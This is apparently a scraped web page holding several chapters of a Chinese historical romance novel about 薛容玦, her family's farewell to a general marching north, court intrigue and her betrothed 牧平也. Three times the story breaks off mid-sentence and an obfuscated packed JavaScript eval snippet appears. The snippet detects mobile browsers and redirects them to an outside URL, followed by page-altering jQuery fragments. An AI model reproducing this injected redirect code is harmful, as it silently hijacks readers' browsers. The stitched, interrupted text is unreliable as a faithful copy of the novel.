方婶的声音带了几分哽咽,却仍笑道:“我一见你便觉得投缘,平也这孩子命苦,能遇上你是他的幸运。你们二人婚期不远了,这只镯子便当作我赠予你二人的贺礼。愿你同平也长长久久、同心同德。” 薛容玦借着月光与烛光看着手中的镯子,上面的雕刻的花纹是她未曾见过的。镯子的样式有些像异域风格,还挂着许多雕刻精致的小灯笼,原来是铃铛。 这镯子虽非金玉,亦十分珍贵没有一年是无法做出来的,更何况这还是方婶特意为女儿打造的。 薛容玦推辞着却被方婶拉着手戴到了皓腕之上:“不必推辞,这两只镯子一只给你,一只留给阿贺的媳妇,我便也没什么遗憾了。” 薛容玦犹豫半晌还是收下了镯子,起身向她行了一礼,方婶起身要拦她却道:“这是晚辈对长辈的心意,倒是还望方婶前来喝喜酒一杯。” 方婶眼中含泪连连道好。 薛容玦复又坐下安慰道:“少年人心中自有少年意气,建功立业也是情理之中。况且此番是我父亲领兵,公子必能平安归来,方婶不必忧心。” 方婶看了一眼正和牧平也交谈的儿子,眼神情绪不明,后长叹一口气:“想来这便是命吧,但愿他能得偿所愿。” 薛容玦在回府路上将刚才方婶送的镯子拿予牧平也看,他沉默一瞬道:“既是赠予你的,安心收下便是。” 牧平也扶着薛容玦下车时看到周俞安正在薛府门口焦急地踱步,看到薛容玦才出了一口气急忙上前道:“我瞧着天色已晚你还未曾从护国寺归来,还以为……无事便好。” 薛容玦这才想起晚归也忘记向家中说一声,还未开口便听牧平也声音有些冷淡:“昭昭同我一起自然无碍,况且我今日在宫中遇到薛兄已然告知与他。薛兄未曾告知周兄吗?” 周俞安看了一眼牧平也却未曾回应他,只对薛容玦道:“我们回去吧。” 薛容玦笑着向牧平也告别,他也回以一笑随即又对周俞安道:“听闻周兄此番亦随薛大将军出征,不知是否还能赶回来喝我与昭昭的喜酒?” 周俞安原本已经转过身去,却转身快步向前抓着牧平也的衣襟,声音很小却足够二人听清:“你若敢负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928462|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表妹,我必定将你碎尸万段。” 薛容玦还没反应上来就见周俞安像一阵风一般飘了出去,她急忙赶上前去却见周俞安松开了手,脸上挂着奇怪的笑容,似乎有些咬牙切齿。 “表妹的喜酒我必定会赶回来的,不必你劳心。” 说完周俞安便转身快步走入薛府,薛容玦与牧平也对视一眼,抱歉道:“表兄平日里不这样,许是要出征心绪不宁,你别放在心上。” 牧平也上前一步为她理了理方才快步而来而乱掉的发丝:“不妨事的,快回去吧。” - 薛容玦果然在花园中找到了周俞安,他站在花园边看着还未开的春花不知在想什么。 他的身影被烛光拉得很长,风吹动他的衣摆,地上的影子也随之摇摆。不知为何,薛容玦总觉得他的身影充满了孤单和寂寥。 她走到他身边看了看花园的花,又侧头看向他,问道:“表兄可是想阿宁了?” “是啊,”周俞安提起弟弟的时候眉眼间都是温柔,“每当春日来临,阿宁就会从早到晚蹲守在花园,对着这些花枝絮絮叨叨,我若是这春花怕是要烦死他了。” 他嘴上说着烦,可是眼角眉梢都是笑意。 薛容玦拿出今日在护国寺求的平安符递给他:“表兄即将上战场,希望表兄一切平安顺遂,早日归来。” 周俞安盯着她手中的平安符看了很久才颤抖着手接过,珍而重之地放入怀中,垂着头道:“那是自然,我要回来喝喜酒。” 薛容玦笑着坐在一旁的石凳上,指着天上一闪而过的流星惊喜道:“奔星为约,表兄可不能赖账。” 周俞安看着眼前的少女,她双眸明亮似乎夜空的流星划入了她的眼中在熠熠发光,他忍不住问道:“阿玦真的心悦那牧平也吗?他有什么好的!” 薛容玦看了他一眼,似乎有些疑惑为什么表兄会这么问,又似乎在思考该怎么回答,她注视着星空半晌后才悠悠开口:“表兄喜欢春日吗?” 周俞安愣了一瞬不知道她为何如此发问,却还是点了点头笑道:“自然。阿宁最喜夏日,可我却最爱春日。春日气候正正适宜,练武并不会过分炎热,我常在一日的练习后去后山躺在草地休息。 “天边云卷云舒,耳边鸟声不断,桃花的花瓣会随着风吹簌簌落在我的身上,那飞花雨真是美极了。” 薛容玦想到那副场景也笑了起来:“想来必是一番盛景,只是表兄可知我总是在想。繁华盛景都逃不过落幕,春花终究会谢,烟花最终凋零,一切的一切都将归于冬日的孤寂。” 她自嘲地笑了笑:“可我偏偏又渴望灿烂盛景。烟花虽会凋零却会在他的眼眸中不朽。这样的人,阿玦怎么会忍得住不靠近呢。” 周俞安闻言转瞬便懂了她的未尽之言。 他始终忘不了母亲听到父亲死讯那一刻的样子,一朵娇艳的花朵转眼间破败。他知晓自己的宿命,不敢迈出一步,既然结局终将到来,又何必徒增伤悲? 时至今日他都认为牧平也根本配不上阿玦,可却也不得不佩服此人的心机谋划和一往无前的无畏与勇气。 若牧平也一意强求他与阿玦不会有今天,有时他也十分羡慕牧平也。 只是如今……说什么也晚了。 周俞安从怀中拿出一支簪子,他蹲在薛容玦面前将簪子放入她手中:“这是我母亲当年嫁给父亲之时所簪,父亲虽然早逝,可他二人情投意合、心意相通。如今我将它赠予阿玦,唯愿阿玦此生无忧、喜乐安康。” 这簪子华贵无比,薛容玦连连推辞:“这是舅母出嫁所簪,贵重无比,阿玦不能收。表兄平安归来参加阿玦的婚礼,便是给阿玦最好的贺礼了。” 周俞安却不听,将簪子为她簪上,他瞧着她仿佛看到了她出嫁那日有多光彩照人:“这簪子十分配阿玦。母亲即将它给了我,那便是我得了,我想赠予谁就赠予谁。阿玦答应我,出嫁那日簪上它好么?” 薛容玦撞进周俞安的眼眸,他的眼眸温柔得一塌糊涂,她拒绝的话无论如何也说不出口,只能道:“那我便应下表兄。只是表兄也要答应我,平安符要时时刻刻揣在怀中,不可离身。” “好。”他笑得温柔又哀伤。 月光下的薛容玦一袭青衣,简单的发髻上簪着这支华贵的发簪,一如出尘脱俗的仙女于月夜翩然降临人间。 周俞安永远不会忘记这一幕。 58. 莺啼有泪(六) 薛勖霖的书房内烛光昏黄,随风盈盈而动。他的影子映在窗上,一如他往日里的坚毅、挺拔。 薛容玦与周俞安告别后从花园回房的路上正巧遇到芙蕖,想着这两日要将平安符亲手交予薛勖霖,便问道:“父亲母亲可已歇下?” 芙蕖苦笑着摇摇头:“郡主不知道,将军自开年以来异常忙碌,时常在书房忙到大半夜。夫人劝说多次也无果,将军马上出征,此刻应仍在书房之内。” 薛容玦点点头,笑道:“那我便到书房去寻父亲,姑姑快回去服侍母亲吧。” 芙蕖道:“夫人正在为将军准备行装,不让奴婢插手呢。夜路难行,还是让芙蕖为郡主提灯照路吧。” 芙蕖自小陪着周韫长大,对周铎也是十分熟悉的,想到周俞安要随薛勖霖一同上战场,忧心道:“郡主近日可见到表少爷了?” “每日在家中倒是都能见一面,”薛容玦想了想,“表兄每日会拿些好吃的、好玩的来送给我。” 芙蕖笑道:“你们兄妹俩啊,和夫人和少将军一样感情深厚呢。” 周铎离世时尚年轻,芙蕖对他的称呼还停留在“少将军”。时光匆匆而逝,却始终有人在原地徘徊,如芙蕖,如陈昔。 只是,芙蕖忽然长叹口气道:“表少爷真是和少将军年轻时一模一样,希望少将军在天之灵保佑表少爷一切顺利,平安归来。” “当年……”薛容玦犹豫着道,“想来应是极悲痛的场景,我从未听母亲提起过舅父。” 芙蕖回首看向薛容玦,那目光悠远又绵长:“郡主虽然面容更肖像薛将军,但郡主往那里一站,远远瞧着奴婢总仿佛看到了夫人年轻时。 “少将军和夫人感情自小极深,奴婢还记得少将军死讯传来的时候,夫人无论如何都不相信,眼泪生生流了几日,人也恍恍惚惚。过了三四个月人才缓过神来,可是自此以后对人绝口不提少将军。” 薛容玦看到清泪划过芙蕖的脸庞,泪水仿佛从跨越时光,仍旧是那样悲伤:“只有奴婢知道,那是夫人内心最隐秘的痛。” 谈话间,二人已然行至薛勖霖的书房外,芙蕖抹掉面上泪水:“郡主去吧,奴婢便先行离去了。” 薛琮和薛容玦对她都是十分尊敬的,便道:“姑姑慢走。” 薛容玦上前轻叩房门。 薛勖霖威严又沉稳的声音传了出来。 “进。” 他看到女儿脸上绽放出慈祥的笑容:“阿玦这么晚怎么来了?” 薛容玦笑着坐在书桌的另一侧:“若是不来怎知阿爹这么晚还在看兵书。灯光昏暗,对眼睛不好。” 薛勖霖笑了笑:“多年习惯已无法更改,阿玦可不要学阿爹。” 薛容玦从包内拿出另一枚平安符递给薛勖霖,他接过后问道:“阿玦这是担心阿爹?” 薛容玦明知史书的结果,可是想到未曾出现在此次战役的出连雍心中却是无法言说的不安与焦虑。 可这些她都不能对薛勖霖讲,只强笑道:“战场上刀剑无眼,阿爹戴着它阿玦也放心些。” “好,”薛勖霖笑着将平安符放入怀中,“明日就让你母亲将它封在甲胄胸口处,这样阿玦可放心?” 薛容玦却敛了笑意,肃容问道:“阿爹可曾听闻过出连雍?” 薛勖霖闻言也敛了笑意:“此人不简单。” 薛容玦心中更是不安,身子微微前倾急忙问道:“阿爹何出此言?” “想来当年之事,你应知道只一些,”薛勖霖看起来像是陷入了回忆的漩涡,“当年恰逢北蛮旧王驾崩,五王子在一众王子中成为北蛮新王,他名唤出连膺。当年的出连雍年岁尚小且势力不足只能依附于出连膺。 “出连膺的母亲虽为旧王大妃,可其母族已然日渐衰落,出连雍的母亲乃是出连膺母亲的侍女。” “侍女?”薛容玦容玦奇怪道。 ——不是一母同胞的兄弟吗? 薛勖霖点点头:“北蛮与我朝嫡庶制度大有不同,所采乃是从母制度,贱妾所生子女仍未贱籍。” 薛容玦道:“我曾在书中看到过,说是因为当年某位王子险些谋反成功,后来才制定此制度。” “不止这么简单,”薛勖霖摇了摇头,“阿玦未曾去过北境,不知那里是如何苦寒。地广人稀,北蛮贵族为了掌控资源控制贵族人数才有此制度。” “原是如此。” 薛勖霖补充道:“不止如此,你可知出连膺已将出连雍记载在其母亲名下,如今对外二人乃是一母同胞的兄弟,出连雍所谋甚大啊。” “而且当年周兄遇袭一事,奇怪之处、不合常理之处实在是太多了。我始终没有放下这桩事,于是自那战之后我方派出不少暗探潜入北蛮,其中艰险自不必说。 “根据这些年我方暗探从北蛮传来的消息来看,当年出连膺能夺得王位出连雍功不可没。当年他怕是另有所图只是撞上了周兄才未曾得行。 “出连雍此人心机深沉,我怀疑当年出连膺大败北走旧都怕也与他有关。 “这些年出连膺沉溺酒色,一应事务都交予出连雍。此人也确实很有能力,将北蛮打理得很好,多年来休养生息直至今日。出连膺的几个孩子至今未有特别出色的,若是出连雍此战大胜而归怕是北蛮便要换人坐上王位了。” 薛容玦因知晓出连雍来日成为北蛮新王,更觉此人心机深沉,她的右手无意识地在桌上轻敲着:“若是出连雍上位,怕是对我朝威胁甚大。” 薛勖霖严肃地点了点头:“这也是此番我自请令战的原因,崔度本想令战但他此人并非帅才,对上出连雍他根本没有胜算。” 薛容玦惊奇道:“崔将军也曾请命吗?” 薛勖霖淡淡一笑:“怕是崔老爷子的意思,崔广离世、崔夫人被赐死,他怕失了圣上眷顾,便让崔度请命。 “平日里在朝堂上他们崔家如何蝇营狗苟我不管,可是战场之上,前方是成千上万战士的性命、背后是千千万万百姓的性命,绝不能沦为他们的牺牲品。” 薛容玦注意到薛勖霖的面容一丝变化都没有,这就是他内心深处最真实的想法,也只有将百姓家国时刻放在心上的人才能成为百世流芳的名将。 薛勖霖看了一眼窗外的明月道:“时辰不早了,阿玦该休息了,阿爹送你回去。” 二人在月光下一前一后地走着,沉默无言,薛容玦知晓了出连雍的经历后心中不安更甚。 转眼间就已到薛容玦院落之外。 薛勖霖抬手抚上女儿的发顶,曾经抱在怀中的小丫头,曾经围着他脚边咿咿呀呀的小姑娘,如今已经出落得亭亭玉立,马上就要嫁为人妇了。 他心中五味杂陈,却仍笑道:“阿爹答应阿玦早日结束北方战事,平安归来。毕竟,阿玦出嫁如此大事,阿爹也想见证那一刻。” 只是薛勖霖突然促狭一笑,薛容玦仿佛看到了年轻时的薛勖霖该是如何张扬明媚的少年。 “阿玦当初说要借郡主名义掩护思悠南下,那时阿玦还用了很多冠冕堂皇的理由来说服为父。可是那时阿玦便已倾心于他?” 薛容玦双颊仿佛酒后般攀上酡色,嗔道:“阿爹胡说!” “哈哈,思悠这家伙真是可恶,竟然把我最宝贝的阿玦拐走了。” “好了,”薛勖霖笑着拍了拍她的头,“回去睡吧。” 薛容玦转身走进院子,仿佛有所感应似的,她回头就看到薛勖霖站在原地带着笑意看着她,向她摆手示意她快回去。 薛容玦忽然转身奔向了薛勖霖怀中,眼中充满泪水,哽咽道“……阿玦,在婚礼等着与阿爹重逢。” “好。” - 想来桓帝也知晓此番战役的艰难之处,竟亲自来到城楼之上为薛勖霖送行。 今日难得是一个天朗气清的好天气,天空碧蓝如洗,洁白的云朵挂在天空,像小兔子一样柔软可爱。城外的柳树已经抽芽而出,在微风的涤荡下晃动着。 若不是看到将士们肃穆地站在道路两边的柳树之中,任何人看到这景象都要感叹一句春日好风光。 城楼之上,除了薛家人外,桓帝、薛皇后、太子都前来为薛勖霖送行,按礼制文武百官亦应在送行之列,可是桓帝却免了他们送行,只道:“让薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960738|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将军临行前好好和家人告别吧。” 薛勖霖身着甲胄,单膝跪在桓帝面前,双手高举过头,桓帝从内侍手中接过一把剑放在他的手中。 “这把剑乃是孤第一次参加围猎时夺得魁首,田太后所赐。听闻此剑曾被先祖用来砍下敌军首领的颈上人头,如今将它赠予你,愿爱卿旗开得胜、早日平定北方战事。” 薛勖霖扬声道:“臣必定不负陛下所托。” 桓帝扶着他起身,看向他忽而笑道:“安乐的婚事有阿璇操持,你若早日归来,我们还能在安乐的婚礼上如往日般一同饮酒。” 薛皇后听到桓帝唤她“阿璇”有些恍惚,上次听到怕是很久以前了,自己都快想不起来了。 薛皇后上前一步对兄长道:“像从前一样,要说的话待你归来再说与你听。” 薛勖霖忽而笑了笑:“你如今都已经做了祖母,怎还是如此顽劣。” 太子殿下却始终神色严肃:“舅父多年征战沙场,经验丰富。只是敌军狡猾,舅父还要多加小心。” 薛勖霖点了点头,又看向了周韫,他的妻子。 二人多年夫妻,一个眼神便知彼此想说的话。周韫双眸含泪却还是笑着为他整理了一下甲胄:“我和孩子们在家等你归来。” 太子却走向了被薛家兄妹围着的周俞安,拍了拍他的肩膀:“你自小便想如周将军一般驰骋战场,如今夙愿即将得偿,感受如何?” 周俞安想了想道:“些紧张,但更多的是兴奋。一想到我能手刃那些害死父亲的北蛮人,我便热血沸腾。” 太子闻言眉头皱得更紧:“俞安啊,战场上瞬息万变,你可千万要保全自身。听闻那出连雍颇为难缠,在军中军令为先,你一定要听薛将军的命令,千万不可擅自行动亦不可违抗军令,知道吗?” 薛琮看着太子奇怪道:“太子殿下今日怎么了?俞安并非冲动的人,殿下不必担心。” 薛容玦看太子始终眉头紧锁,便道:“表兄出征大家心里都是担心的,太子殿下与表兄自小一起长大,不放心也是有的,阿兄他日若是上战场怕是太子殿下要嘱咐的更多呢。” 周俞安大笑着揽上薛琮的肩膀:“是啊,否则此番如何不带你出征?你呀,还是在宫中好好当值多磨磨性子吧!” “怎么又扯上我了,”薛琮恼羞成怒地甩开他,犹豫半晌别扭道,“你可好好回来啊,我把你带到京都,可要好好地把你还回沉潭郡。” 薛勖霖那边已然准备出发,周俞安向三人行了一个军礼:“诸位放心,待荷花开遍荷塘,便是我们再见之日。” 桓帝一行人站在高高的城楼上,看着薛勖霖带领着将士们奔赴他们的战场。 道路两旁的柳树随风飘动,那绿意不知为何有些晃眼。 ——杨柳东风树,青青夹御河。近来攀折苦,应为别离多。① 在无人注意的角落里,太子和薛容玦低声说着什么。 太子看着远行的将士们,不知为何他的面容有几分惆怅,他忽而开口问道:“近日可曾见过牧平也?” 薛容玦不解其意,却仍旧回答道:“见过,前两日去护国寺回途偶遇,还一起去街边吃了碗面。” “是吗?”太子殿下不知为何对民间的小摊十分感兴趣,“味道如何?孤倒是未曾吃过街边的饭菜。” 薛容玦越发地奇怪了,却只能老实道:“味道不错,与京都风味不同是来自碧泽郡的味道,许是用了来自北境的香料,才显得如此与众不同。” 太子点点头:“怪不得,我瞧着牧平也衣着上有些纹样和京都流行的款式不同,原来是来自碧泽郡。” 薛容玦本觉得太子殿下如朗月清风、如高山之松。可是与太子殿下接触后却觉得他并非表面上看上去如此亲和近人。 太子之位,上有皇帝,下有朝臣,周围还有群狼环伺。 他想稳坐这个位子太难,可他偏偏坐得稳如泰山。 “这……”薛容玦看着太子的神色自若,正是往日朗月清风般的气质,犹豫地问道,“有何不妥吗?” “没有不妥,只是确认一些事情而已。” 59. 莺啼有泪(七) 牧平也站在桓帝的书房之内,博山炉的烟雾盘旋而上,氤氲之间他有些看不清桓帝的面容。 桓帝少见地没有在批折子,而是在临帖,他直到写完最后一笔才抬头看向眼前站着的牧平也问道:“查的如何了?” 牧平也身着宽大的绛红色官服,拱手道:“回陛下,臣查遍了当年与田皇后生产有关之人除一位在殿外侍奉的宫女外,其余人等皆已离世。” “哦?” 桓帝的语气听着是好奇,可是他甚至都没有抬眼只是在欣赏自己所临之贴。 牧平也继续道:“此前击鼓之人自田皇后死后便长居于永乐寺山脚下,另有一人为田皇后近身婢女只是早早出宫嫁人,自田皇后离世后便在田皇后陵墓处为其守墓,多年不出……” 桓帝看着自己临的字似乎有些不满意,摇了摇头,随手让内侍去焚毁。 “……二人皆在崔夫人死前便自缢身亡,但臣令仵作细细探查了一番,乃是勒颈而亡。臣前去永乐寺探查了一番,寺庙本身并无何奇特之处,只有崔夫人曾在那里点燃两盏长明灯。” “长明灯?孤记得崔夫人不信神佛。”桓帝的声音平淡无波。 牧平也道:“臣在明郡曾有幸前往崔府一观,崔荔姑娘介绍家中专门为崔夫人修了一座佛堂,且崔夫人月月都要前往城外无名寺听讲经。无名寺亦有夫人点燃的两盏长明灯。” “是吗?”桓帝不知想到了什么,面容在氤氲烟雾中显得有些落寞。 “《华严经》曾云,譬如一灯,入于暗室,百千年暗悉能破尽。菩萨摩诃萨菩提心灯亦复如是,入于众生心室之内,百千万亿不可说劫诸业烦恼、种种暗障悉能除尽。 “夫人是个好人。” 桓帝直到此刻才抬眼看了他一眼,桓帝忽然惊觉他从第一次见到牧平也便觉他少年意气十分浓重,不知何时起他早已褪去青涩,沉稳又方正。 还是,如今才是真正的他? 牧平也恍若未觉只道:“那名在殿外侍奉的宫女如今虽仍活着却已不辨世事,问及当年事时,她也只是口中说着‘云’‘甘霖’‘吉兆’等语却含糊不清,只作大概猜测。” 桓帝道:“那你如何看此事?” 牧平也微不可见地笑了笑:“无论此事真假必然有人在后推动。涉及当年事之人全都死伤殆尽,就连在牢狱中的婢女都能被做成自缢身亡,又何必独留一名痴傻宫女等着下官来查?” “那你觉得是何人所为?” 牧平也道:“崔家不至于用崔夫人一条命来推动这个消息,若是薛家做这件事没必要选在金澜阁,如此看来还有别的势力在京中,怕是田家余部。” 牧平也说完便垂首,身姿挺拔地跪在书房内。 内侍带着太医来为桓帝请平安脉,牧平也只听到桓帝开口道:“皇后如何了?” 太医令年事已高,回答得又慢又犹豫:“……娘娘当年毒箭入体却因情况紧急余毒未清本就留下这陈年旧疾,原本静心调养本也能养回个七八成。只是……娘娘心绪愁结导致旧疾复发,安乐郡主为娘娘进献了安神香,近日已然好多了。” 太医令请完平安脉后退了出去,偌大的书房只剩下桓帝和牧平也二人。 毒箭入体?牧平也暗自思忖着,想来这是当年的皇宫密辛。 他自始至终身姿挺拔垂首而跪,仿若什么都没有听到。 桓帝打量了他半晌:“那你便继续查下去吧。” 牧平也拱手道:“臣领命,还有一事需向陛下禀报。” “你说。” “姜丞相……姜徵昨日在京郊遇袭,已然身亡。” 桓帝轻笑了一声,只道:“安乐也在皇后宫中,你随孤去瞧瞧吧。” - 椒房殿内浓重的药味似乎将阳光也遮蔽了,明明春日阳光铺洒在殿内,可是感觉不到丝毫的温暖。 茵陈在下首为薛皇后把脉,薛容玦站在薛皇后身边看着她苍白的面色担忧地说道:“阿爹都说姑母身子不好,不应去送行的,姑母还非要去,这都半月有余了,身子还不见好。” 薛皇后没有上妆,面色犹如茉莉清淡笑着道:“本宫这是老毛病了,不必担心。上次你带来的安神香很好用,本宫睡得踏实了不少。” 薛容玦这才有了一丝笑意:“安神香便是请这位茵陈姑娘所配置,今日特意带她进宫也是为了更好地给姑母配置安神香。” 薛皇后闻言看向茵陈,却迟迟不语。 薛容玦随着她的目光看向茵陈,茵陈这些日子在京都过得极好不复初见时的瘦弱,面上也有了些肉。她双眸明亮圆润,虽远比不上盛璐沅那样的明媚女子,却也温柔甜美,笑起来双眼犹如月牙,令人见了便心生欢喜。 薛皇后突然开口问道:“你是京都人?” 茵陈收回把脉的手,俯地道:“回皇后娘娘的话,民女乃明郡人士,去岁年底才初次来到京都。” 薛皇后这才淡淡笑了笑:“好孩子起来吧,本宫只是觉得你有些熟悉,只是你一开口便是江南女子的婉约,倒让本宫想到本宫初入宫时的好姐妹便是江南女子,开口也如你一般带着些江南口音。” 薛容玦倒是第一次听说,便问道:“那后来呢?姑母可放她出宫了?” 薛皇后沉默了一瞬道:“她与汀宛一同离开了。” 薛容玦没想到竟是如此,只好问茵陈:“姑母的身子如何了?” ——陛下驾到,内侍尖细的声音刺破的殿内的平静。 薛容玦转身向桓帝行礼,薛皇后硬撑着从座上起身却被桓帝快走两步拦住了,牵着她的手坐在她身边:“你身子不好,快坐下。” 薛皇后不动声色地抽出自己的手:“臣妾谢过陛下。” 桓帝示意他人起身,看向薛容玦:“安乐今日这是要做什么?” 薛容玦规矩地行礼道:“姑母前前后后病了一月有余,安乐便想着请安乐认识的一位医女为姑母瞧瞧。” 桓帝瞥了一眼茵陈思索片刻道:“当时宫宴救治崔广的可是你?” 茵陈忙跪下道:“回陛下,是民女。” 桓帝道:“皇后的身子如何了?” 茵陈似乎有些紧张,声音有些颤抖:“民女有些问题需先问问皇后娘娘方可确认。” 薛皇后让薛容玦扶她起来,柔声道:“别怕,问吧。” 茵陈看了一眼桓帝又急忙收回目光垂首看向薛皇后的裙摆道:“娘娘多年前可曾吐血昏厥,后不久又受过重伤,似乎有些余毒未清。” “是。” “娘娘这些年是否睡眠极浅,一点响动便会醒来直到天光?” “是。” “娘娘是否近日会心悸?” “……是。” 薛容玦见过的桓帝通常都是十分冷静严肃,即便是笑也是上位者充满威严地笑,除此之外他未曾见过桓帝流露过其他的情绪,就像一个合格的帝王所应展现出来的样子。 可是此刻,她看到桓帝震惊地看向薛皇后想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137977|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说些什么,可薛皇后却避开了他的眼神,桓帝垂下了眼眸敛去了所有情绪。 “该如何医治?” 茵陈沉默一瞬道:“心病还需心药医,民女可以配置些安神香和静神香供娘娘服用,但始终都是治标不治本。娘娘若心思开阔,将心中郁结之气一扫而光才能真正康健。” 桓帝和薛皇后二人坐在上首都十分沉默,半晌后桓帝道:“太医院的药材随你取用,想要什么赏赐也随你开口。只一样,若是皇后未能好转,你知道后果的。” 茵陈赶忙跪地俯身:“陛下放心,民女必定尽心竭力。” 桓帝疲惫地摆摆手:“都下去吧,孤与皇后有话要说。” - 薛容玦带着茵陈刚走出椒房殿便见到牧平也一身绛红官服双手背后站在槐花树下,她笑着上前:“你怎么在这?” 牧平也向茵陈颔首示意,又笑着对薛容玦道:“方才与陛下在书房议事,得知你在皇后娘娘处便来这里等你了。” 三人出宫后在马车上,薛容玦才向茵陈问道:“若是姑母一直心思郁结,会如何呢?” 茵陈叹了口气:“皇后娘娘这些年身体不适大多是来自体内的余毒未清,不过就刚才脉象来看,经多年调理,毒素已然所剩无几,最重要的还是娘娘的心病。 “心病初初不过是心悸发闷,夜间难眠,可若长久下去人一旦被耗空,就……” 薛容玦道:“原是如此……” 说话间已经到了茵陈的医馆,同她告别后,牧平也带着薛容玦回了自己的府邸。 牧平也先去换下官服,薛容玦则在书房里等他。 他的书房装饰十分简单但位置却很好,推开窗便能看到一小片湖水,碧绿的湖水边种着高大的槐树,想来到了槐花盛开的时节,书房里定是阵阵飘香。 她正胡思乱想之际,背后贴上了一个温热的胸膛,腰肢被他的双臂揽在怀中,耳边传来牧平也的声音:“在想什么?我走进来都没有听到。” 薛容玦转身倚靠在窗棂面朝着他却侧脸看向槐树:“在想你为什么在这里种槐树。” 牧平也轻笑一声,她还没反应过来便觉身子一轻,她急忙转过头来抓着他的前襟。 他将她抱起放在窗棂上,自己双手扶在窗棂两侧微微弯腰与她视线平齐,眉眼含笑:“昭昭不知晓我为何种槐树吗?” 薛容玦恍然又回到了初遇他的那一日,槐花纷纷扬扬落在他的身边,那样遥不可及的人物就这样出现在了她的眼前。 她歪着头故意说道:“许是因为槐花的清香?” 牧平也笑着看她俏皮模样,并未戳穿只是侧开身子一手虚揽着她另一手指着一副新作的画:“我故意挂着如此显眼的位置,昭昭没有看到吗?” 她其实一进门就看到了,那是一副槐花图。碧蓝的天空下有一阵微风拂过,槐花扑簌簌地掉落。槐花掉落在湖水中、掉落在尘土中,蝴蝶振翅穿梭其间,有一白衣女子在树下仰头赏花,一朵槐花悄然落在她的额上。 牧平也的声音在她耳畔响起,滚烫的气息似乎灼伤了她耳边娇嫩的肌肤:“五月槐花落,终得青女香。昭昭忘了吗?” 她转头便撞入了他漆黑的眼眸中,那双眼眸明亮如星,充斥着他的赤诚灼热的爱意。二人的距离极近呼吸交错相缠,忽然令她产生一种错觉,似乎他们本就该彼此相缠,一如女萝与长松,两相缠绕,无法分离。 正出神之际,她忽觉到唇上忽然落下一瓣槐花,柔软芬芳。 60. 莺啼有泪(八) 牧平也去为薛容玦沏了杯茶,回来时看到她依靠在窗边,看着脚下不知在思索着什么。 牧平也将茶水放在一旁,上前去牵着薛容玦的手坐在书房的窗边,他一早就注意到自椒房殿出来后她便眉头紧锁,方才与她聊起槐树也是想要让她开心些。 可是似乎她还陷在某种情绪里,他道:“昭昭是在担心皇后娘娘的病情吗?” 薛容玦点了点头又摇了摇头,有些茫然地看着他道:“你觉得,陛下是一个什么样的人呢?我似乎有些看不透。” 牧平也思索了一瞬,缓缓开口道:“看不透才是正常的。陛下年少时便能从田家手中夺回权柄,这样的心计筹算自不必说。作为帝王,国家在他的治理下除了北蛮蠢蠢欲动之外也算国富民安,只是……” 薛容玦好奇地看着他:“只是什么?” 牧平也将她的手攥紧了些,道:“陛下作为帝王有一个致命的弱点,太重感情。” “重感情?”薛容玦蹙了蹙眉不赞同道,“你说的是我知晓的陛下吗?” 牧平也道:“我所说陛下重感情,是他作为君主、作为帝王而言,若是放在寻常人身上那怕是有些淡薄了。一个合格的帝王是应摒弃他的情感的。 “崔夫人临去前陛下曾去见过她一面,不论陛下是念及旧情也好、是探寻真相也罢,他这一趟便不该去。不论崔夫人手中握着怎样的把柄,陛下最好的方式便是直接赐死,陛下已不再是处处被掣肘的少年天子了,该更杀伐果断些。 “听闻当年田家伏诛之后仍有一次余部刺杀,此事被压了下来知晓的人并不多,想来皇后娘娘的毒便是在那时入体的。这些年薛家葳蕤繁盛,太子殿下声高不下,如我是陛下此番便不会让薛将军领兵,此时分明是扶持崔家最好的时机。” 牧平也的声音始终温润平稳,可听在薛容玦耳中却让她有些害怕,果然,这才是能被阿爹称赞的、锋芒毕露的牧平也。 牧平也似乎感受到了薛容玦的恐惧,探身将她揽入怀中:“陛下若是更加杀伐果决必定流芳千古,但那样作为君主自然很好,可是作为他的身边人却不好过,尤其是你们薛家。 “我虽知晓若想千古流芳该如何做,可是我并不愿意。就像陛下明知直接杀了崔夫人更好,可他还是选择去见昔日的朋友最后一面,不论出于什么目的。” 他微微低头轻吻在薛容玦冰凉的额头上:“功名利禄对我一点也不重要,所以我虽明白这些道理,可我并不会这么做。” 他看向薛容玦的双眸,声音隐有恳求:“别害怕我,昭昭。” 薛容玦不禁轻出了一口气,纤纤素手拂上他的面庞,温柔又困惑:“我相信你。我只是有些害怕,陛下与姑母之间明明是有感情的,可为何走到了彼此算计这一步?我们将来会不会变成这样?” 牧平也贴上她的额头,喃喃道:“不会的,陛下有太多身不由己,可我没有。” “相信我。” 